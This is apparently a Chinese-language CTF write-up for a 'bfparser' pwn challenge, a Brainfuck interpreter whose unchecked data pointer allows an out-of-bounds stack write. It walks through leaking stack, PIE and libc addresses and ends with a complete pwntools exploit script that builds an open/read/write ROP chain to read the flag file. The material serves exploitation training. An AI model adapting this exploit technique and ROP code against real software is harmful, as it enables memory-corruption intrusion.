bfparser

分析

1656297240746.png

保护是全开了的。

看看main函数

1656297278557.png

分配了一个0x1000的chunk来写入数据。在sub_13BA()里进行了一定的预处理。

然后开了沙箱,只能orw

1656298451568.png

关键漏洞出在sub_163F()

1656297389262.png

这里有一个__asm{ jmp rax },估计是跳表需要修复,懒得修了,直接看汇编吧

1656297448778.png

可以看到,根据输入的东西不同,执行不一样的操作。结合标题的bf,可以想到brainfuck语言

1656297623187.png

百度了之后,发现bf语言的语法其实非常简洁。值得注意的是,他有移动指针和修改指针内容的功能。

1656297698315.png

此函数是通过v2这个变量模拟的bf语言运行的空间。不难看出,移动指针可以导致栈溢出。

1656297878295.png

他的指针操作是由一个变量当做下标来实现的,不幸的是,他一次只会移动1字节。

如果单纯使用'>'*n的方式来移动的话,他初始位于rbp-0x210,想要劫持到返回地址就需要0x218*8个字节的数据,已经超过了题目给的0x1000。

一开始我想的是劫持[rbp-0x214]这个指针,但是由于个人太菜了,没有成功。(感觉是负数的问题)

于是去想办法简化bf语言的payload。

最后想到的是用 +[>>>>>>>>,] 通过自己的输入来有限控制指针循环移动

然后经过不断的二分调试,最终确定了payload让指针到了返回地址

(这里劫持的是main函数的栈帧,也就是 __libc_start_main+243

1
pay = '+[>>>>>>>>,]>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>'

1656299307186.png

劫持到这里主要是觉得方便leak libc和栈基址。(中途脑袋抽了,还把pie基址一块leak了,当时想的是rop要用gadgets,然而最后还是直接用的libc的gadgets)

leak之后就简单了,直接rop去写orw。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
# p = remote('192.168.0.76', 58011)
# p.recvuntil('TEST')
'''
pop_rdi = 0x0000000000000973 # pop rdi ; ret
ret = 0x000000000000001a # ret
'''
pay = '+[>>>>>>>>,]>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>'

pay += '>>>>>>>>'*2
pay += '.>'*8
pay += '>>>>>>>>'

pay += '.>'*8
pay += '<<<<<<<<'*5

pay += '.>'*8
pay += '<<<<<<<<'
pay += ',>'*8 * 22

# pay += '.'

# gdb.attach(p)

dd = '0'*0x40 + '\x00'

p.sendline(pay)
gdb.attach(p)

p.send(dd)

stack = u64(p.recvuntil(b'\x7f')[-6:].ljust(0x8, b'\x00'))-0xf0
print(hex(stack))

pie = u64(p.recvuntil(b'\x55')[-6:].ljust(0x8, b'\x00')) - 0x854
print(hex(pie))

libcbase = u64(p.recvuntil(b'\x7f')[-6:].ljust(0x8, b'\x00')) - 0x24083
print(hex(libcbase))
'''
one = [0xe3afe, 0xe3b01, 0xe3b04]
# print(hex(libcbase + one[0]))
p.sendline(p64(one[2]+libcbase))
'''
pop_rdi = libcbase + 0x0000000000023b6a # pop rdi ; ret
pop_rsi = libcbase + 0x000000000002601f # pop rsi ; ret
pop_rdx = libcbase + 0x0000000000142c92 # pop rdx ; ret

op = libcbase + libc.symbols['open']
re = libcbase + libc.symbols['read']
wr = libcbase + libc.symbols['write']

pay = p64(pop_rdi) + p64(stack+8*21) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) + p64(op)
pay += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(stack-0x100) + p64(pop_rdx)+p64(0x30)+p64(re)
pay += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(stack-0x100) + p64(pop_rdx)+p64(0x30)+p64(wr)
pay += b'./flag\x00\x00'
p.send(pay)

p.interactive()